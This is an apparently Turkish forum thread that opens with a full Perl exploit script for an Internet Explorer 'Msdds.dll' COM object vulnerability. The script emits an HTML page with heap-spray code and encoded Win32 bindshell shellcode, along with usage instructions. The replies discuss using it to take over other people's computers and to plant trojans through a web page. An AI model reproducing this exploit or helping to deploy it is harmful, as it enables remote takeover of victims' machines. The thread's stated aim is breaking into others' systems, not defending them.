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Note : the "Msdds.dll" library is installed with Microsoft Office and Microsoft Visual Studio.
#!/usr/bin/perl
#######################################################
#
# Microsoft Internet Explorer "Msdds.dll" Remote Code Execution Exploit (0day)
#
# Bindshell on port 28876 - Vulnerability discovered and exploited by Anonymous
#
# PoC code ripped from Berend-Jan Wever's Internet-Exploiter
#
# Vulnerable : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F (Msdds.dll)
#
# Tested on : Microsoft Internet Explorer 6 SP2 (Windows XP SP2)
#
# Code usage : perl IE-Msddsdll-0day.pl > mypage.html
#
#######################################################
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License version 2, 1991 as published by
# the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# A copy of the GNU General Public License can be found at:
# http://www.gnu.org/licenses/gpl.html
# or you can write to:
# Free Software Foundation, Inc.
# 59 Temple Place - Suite 330
# Boston, MA 02111-1307
# USA.
#
#######################################################
# header
my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n";
# Win32 bindshell (port 28876) - SkyLined
my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb".
"%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".
"%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".
"%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".
"%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".
"%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".
"%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".
"%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".
"%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".
"%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".
"%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".
"%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".
"%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".
"%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".
"%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".
"%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".
"%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n";
# Memory
my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n".
"headersize = 20;\n".
"slackspace = headersize+shellcode.length\n".
"while (bigblock.length<slackspace) bigblock+=bigblock;\n".
"fillblock = bigblock.substring(0, slackspace);\n".
"block = bigblock.substring(0, bigblock.length-slackspace);\n".
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n".
"memory = new Array();\n".
"for (i=0;i<700;i++) memory = block + shellcode;\n".
"</SCRIPT>\n";
# Msdds.dll
my $clsid = 'EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F';
# footer
my $footer = "<object classid=\"CLSID:".$clsid."\"></object></body></html>\n".
"Microsoft Internet Explorer Msdds.dll COM Object Remote Exploit\n";
# print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin
print "$header $shellcode $code $footer";ARKADASLAR BU EXPOLİT NE İŞE YARAR BİLEN VARMI
LÜTFEN YARDIM EDİN!
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Oncelikle yanlis hatirlamiyorsam bu pek yeni birsey degil.
Yaptigi sey karsi tarafin dosyalarini okuyan bir script yaratmak.
active perl programini indrerek bu tip dosyalari calistirabilirsin.
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karsı tarafın pc sıne gırebılırmıyız?
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evet www.frsirt.com da açıklamasını görebilirsin. tarihini tam hatırlamıyorum ama bir kaç hafta önce görmüştüm. deneme fırsatım olmadı. yazdığın microsoft office ve microsoft visual studio demişsin işin en can alıcı noktasını atlamışsın. bu açıkla internet explorerda active x kontrolüne olanak veriyor. anlayacağın sp2 nin çıkış amaçlarından biride active x kontrolünün eksiklikleriydi. iddia edildiğine göre bu açıkla baba bir html sayfasıyla karşı tarafın bilgisayarını komple ele geçirebiliyormuşuz. iddia diyorum çünkü denemedim. en kısa zamanda kurcalayacağım.
(sp1 ve sp2 ile birlikte yüklenen internet explorer 6 larda geçerli)
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anladıgım kadarı ile bunu active x olarak yuklersem kendi web sayfama ve karşı tarafta bu yfya bakarsa sp 2 bile yukulu olsa trojan ve yatta herhangibi birşeyi makinesine indire biliriz dogrumu ?
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